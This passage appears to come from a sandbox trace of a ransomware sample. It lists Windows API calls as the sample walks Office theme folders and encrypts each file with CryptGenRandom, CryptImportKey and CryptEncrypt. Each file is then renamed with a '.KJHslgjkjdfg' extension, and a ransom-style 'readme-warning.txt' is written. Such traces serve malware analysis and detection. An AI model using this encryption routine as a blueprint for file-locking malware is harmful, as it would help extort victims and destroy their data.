shared\\themes14\\studio\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.600] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0178.601] CloseHandle (hObject=0x12c) returned 1 [0178.601] GetProcessHeap () returned 0x990000 [0178.601] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fd9f0 | out: hHeap=0x990000) returned 1 [0178.601] GetProcessHeap () returned 0x990000 [0178.601] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0178.602] GetProcessHeap () returned 0x990000 [0178.602] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0178.602] GetProcessHeap () returned 0x990000 [0178.602] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0178.602] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0178.602] GetProcessHeap () returned 0x990000 [0178.602] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0178.602] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SUMIPNTG", cAlternateFileName="")) returned 1 [0178.602] GetProcessHeap () returned 0x990000 [0178.602] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x92) returned 0x9b0940 [0178.602] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0178.603] GetProcessHeap () returned 0x990000 [0178.603] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0178.603] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0178.603] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x137f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0178.603] GetProcessHeap () returned 0x990000 [0178.603] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x294) returned 0x9b1eb0 [0178.603] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.604] GetProcessHeap () returned 0x990000 [0178.604] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.604] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.604] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0178.604] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x1, lpOverlapped=0x0) returned 1 [0178.615] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.616] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.616] GetProcessHeap () returned 0x990000 [0178.616] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0178.616] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0178.616] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.616] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0178.616] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.616] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0178.616] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0178.616] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0178.616] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0178.616] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.616] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.617] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.617] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x137f, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x137f, lpOverlapped=0x0) returned 1 [0178.618] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1380, dwBufLen=0x1380 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1380) returned 1 [0178.618] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.618] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x1380, lpOverlapped=0x0) returned 1 [0178.618] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.618] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x1454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.618] SetEndOfFile (hFile=0x12c) returned 1 [0178.621] GetProcessHeap () returned 0x990000 [0178.621] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0178.621] GetProcessHeap () returned 0x990000 [0178.621] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0178.621] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif.kjhslgjkjdfg")) returned 1 [0178.622] CloseHandle (hObject=0x12c) returned 1 [0178.622] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7a6700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f7a6700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x19e14, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SUMIPNTG.ELM", cAlternateFileName="")) returned 1 [0178.623] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.635] GetProcessHeap () returned 0x990000 [0178.636] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.636] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.636] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0178.636] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xc, lpOverlapped=0x0) returned 1 [0178.638] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.638] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.638] GetProcessHeap () returned 0x990000 [0178.638] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0178.638] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0178.638] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.638] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0178.638] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.639] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0178.639] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0178.639] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0178.639] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0178.639] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.639] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.639] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.640] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x19e14, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x19e14, lpOverlapped=0x0) returned 1 [0178.642] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x19e20, dwBufLen=0x19e20 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x19e20) returned 1 [0178.643] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.643] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x19e20, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x19e20, lpOverlapped=0x0) returned 1 [0178.644] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.644] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x19ef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.644] SetEndOfFile (hFile=0x12c) returned 1 [0178.647] GetProcessHeap () returned 0x990000 [0178.647] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0178.647] GetProcessHeap () returned 0x990000 [0178.648] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0178.648] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm.kjhslgjkjdfg")) returned 1 [0178.657] CloseHandle (hObject=0x12c) returned 1 [0178.658] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SUMIPNTG.INF", cAlternateFileName="")) returned 1 [0178.658] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.658] GetProcessHeap () returned 0x990000 [0178.658] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.659] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.659] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0178.659] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x5, lpOverlapped=0x0) returned 1 [0178.661] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.661] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.661] GetProcessHeap () returned 0x990000 [0178.661] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0178.661] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0178.661] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.661] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0178.661] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.661] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0178.661] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0178.661] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0178.662] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0178.662] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.662] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.662] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.662] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x22b, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x22b, lpOverlapped=0x0) returned 1 [0178.662] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x230, dwBufLen=0x230 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x230) returned 1 [0178.662] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.662] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x230, lpOverlapped=0x0) returned 1 [0178.662] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.662] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x304, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.662] SetEndOfFile (hFile=0x12c) returned 1 [0178.665] GetProcessHeap () returned 0x990000 [0178.665] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0178.665] GetProcessHeap () returned 0x990000 [0178.665] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0178.665] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf.kjhslgjkjdfg")) returned 1 [0178.676] CloseHandle (hObject=0x12c) returned 1 [0178.676] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0178.676] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.677] GetProcessHeap () returned 0x990000 [0178.677] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.677] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.677] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0178.677] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x2, lpOverlapped=0x0) returned 1 [0178.688] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.688] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.688] GetProcessHeap () returned 0x990000 [0178.688] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0178.688] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0178.688] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.688] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0178.688] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.688] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0178.689] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0178.689] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0178.689] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0178.689] CryptImportKey (in: 